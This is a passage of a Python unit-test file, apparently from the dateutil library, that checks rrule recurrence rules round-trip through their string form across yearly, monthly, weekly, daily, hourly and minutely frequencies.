9, 2, 9, 0))) def testToStrYearlyByEaster(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByEasterPos(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByEasterNeg(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByWeekNoAndWeekDay53(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByHour(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMinute(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyBySecond(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByHourAndMinute(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByHourAndSecond(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyByHourAndMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrYearlyBySetPos(self): self._rrulestr_reverse_test(rrule(YEARLY, count=3, bymonthday=15, byhour=(6, 18), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthly(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyInterval(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyIntervalLarge(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, interval=18, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonth(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthAndMonthDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByWeekDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) # Third Monday of the month self.assertEqual(rrule(MONTHLY, byweekday=(MO(+3)), dtstart=datetime(1997, 9, 1)).between(datetime(1997, 9, 1), datetime(1997, 12, 1)), [datetime(1997, 9, 15, 0, 0), datetime(1997, 10, 20, 0, 0), datetime(1997, 11, 17, 0, 0)]) def testToStrMonthlyByNWeekDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByNWeekDayLarge(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byweekday=(TU(3), TH(-3)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthAndWeekDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthAndNWeekDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthAndNWeekDayLarge(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonth=(1, 3), byweekday=(TU(3), TH(-3)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthAndMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByYearDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByYearDayNeg(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthAndYearDay(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMonthAndYearDayNeg(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByWeekNo(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByWeekNoAndWeekDay(self): # That's a nice one. The first days of week number one # may be in the last year. self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByWeekNoAndWeekDayLarge(self): # Another nice test. The last days of week number 52/53 # may be in the next year. self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByWeekNoAndWeekDayLast(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByWeekNoAndWeekDay53(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByEaster(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByEasterPos(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByEasterNeg(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByHour(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMinute(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyBySecond(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByHourAndMinute(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByHourAndSecond(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyByHourAndMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMonthlyBySetPos(self): self._rrulestr_reverse_test(rrule(MONTHLY, count=3, bymonthday=(13, 17), byhour=(6, 18), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeekly(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyInterval(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyIntervalLarge(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, interval=20, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonth(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonthDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonthAndMonthDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByWeekDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByNWeekDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonthAndWeekDay(self): # This test is interesting, because it crosses the year # boundary in a weekly period to find day '1' as a # valid recurrence. self._rrulestr_reverse_test(rrule(WEEKLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonthAndNWeekDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonthAndMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByYearDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByYearDayNeg(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonthAndYearDay(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=4, bymonth=(1, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMonthAndYearDayNeg(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=4, bymonth=(1, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByWeekNo(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByWeekNoAndWeekDay(self): # That's a nice one. The first days of week number one # may be in the last year. self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByWeekNoAndWeekDayLarge(self): # Another nice test. The last days of week number 52/53 # may be in the next year. self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByWeekNoAndWeekDayLast(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByWeekNoAndWeekDay53(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByEaster(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByEasterPos(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByEasterNeg(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByHour(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMinute(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyBySecond(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByHourAndMinute(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByHourAndSecond(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyByHourAndMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrWeeklyBySetPos(self): self._rrulestr_reverse_test(rrule(WEEKLY, count=3, byweekday=(TU, TH), byhour=(6, 18), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDaily(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyInterval(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyIntervalLarge(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, interval=92, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonth(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonthDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonthAndMonthDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByWeekDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByNWeekDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonthAndWeekDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonthAndNWeekDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonthAndMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByYearDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByYearDayNeg(self): self._rrulestr_reverse_test(rrule(DAILY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonthAndYearDay(self): self._rrulestr_reverse_test(rrule(DAILY, count=4, bymonth=(1, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMonthAndYearDayNeg(self): self._rrulestr_reverse_test(rrule(DAILY, count=4, bymonth=(1, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByWeekNo(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByWeekNoAndWeekDay(self): # That's a nice one. The first days of week number one # may be in the last year. self._rrulestr_reverse_test(rrule(DAILY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByWeekNoAndWeekDayLarge(self): # Another nice test. The last days of week number 52/53 # may be in the next year. self._rrulestr_reverse_test(rrule(DAILY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByWeekNoAndWeekDayLast(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByWeekNoAndWeekDay53(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByEaster(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByEasterPos(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByEasterNeg(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByHour(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMinute(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyBySecond(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByHourAndMinute(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByHourAndSecond(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyByHourAndMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrDailyBySetPos(self): self._rrulestr_reverse_test(rrule(DAILY, count=3, byhour=(6, 18), byminute=(15, 45), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourly(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyInterval(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyIntervalLarge(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, interval=769, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonth(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonthDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonthAndMonthDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByWeekDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByNWeekDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonthAndWeekDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonthAndNWeekDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonthAndMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByYearDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByYearDayNeg(self): self._rrulestr_reverse_test(rrule(HOURLY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonthAndYearDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMonthAndYearDayNeg(self): self._rrulestr_reverse_test(rrule(HOURLY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByWeekNo(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByWeekNoAndWeekDay(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByWeekNoAndWeekDayLarge(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByWeekNoAndWeekDayLast(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byweekno=-1, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByWeekNoAndWeekDay53(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byweekno=53, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByEaster(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byeaster=0, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByEasterPos(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byeaster=1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByEasterNeg(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byeaster=-1, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByHour(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byhour=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMinute(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyBySecond(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByHourAndMinute(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byhour=(6, 18), byminute=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByHourAndSecond(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byhour=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyByHourAndMinuteAndSecond(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byhour=(6, 18), byminute=(6, 18), bysecond=(6, 18), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrHourlyBySetPos(self): self._rrulestr_reverse_test(rrule(HOURLY, count=3, byminute=(15, 45), bysecond=(15, 45), bysetpos=(3, -3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutely(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyInterval(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, interval=2, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyIntervalLarge(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, interval=1501, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonth(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bymonth=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonthDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bymonthday=(1, 3), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonthAndMonthDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bymonth=(1, 3), bymonthday=(5, 7), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByWeekDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByNWeekDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonthAndWeekDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bymonth=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonthAndNWeekDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bymonth=(1, 3), byweekday=(TU(1), TH(-1)), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonthAndMonthDayAndWeekDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, bymonth=(1, 3), bymonthday=(1, 3), byweekday=(TU, TH), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByYearDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=4, byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByYearDayNeg(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=4, byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonthAndYearDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=4, bymonth=(4, 7), byyearday=(1, 100, 200, 365), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByMonthAndYearDayNeg(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=4, bymonth=(4, 7), byyearday=(-365, -266, -166, -1), dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByWeekNo(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byweekno=20, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByWeekNoAndWeekDay(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byweekno=1, byweekday=MO, dtstart=datetime(1997, 9, 2, 9, 0))) def testToStrMinutelyByWeekNoAndWeekDayLarge(self): self._rrulestr_reverse_test(rrule(MINUTELY, count=3, byweekno=52, byweekday=SU, dtstart=datetime(1997, 9, 2, 9, 0))) def 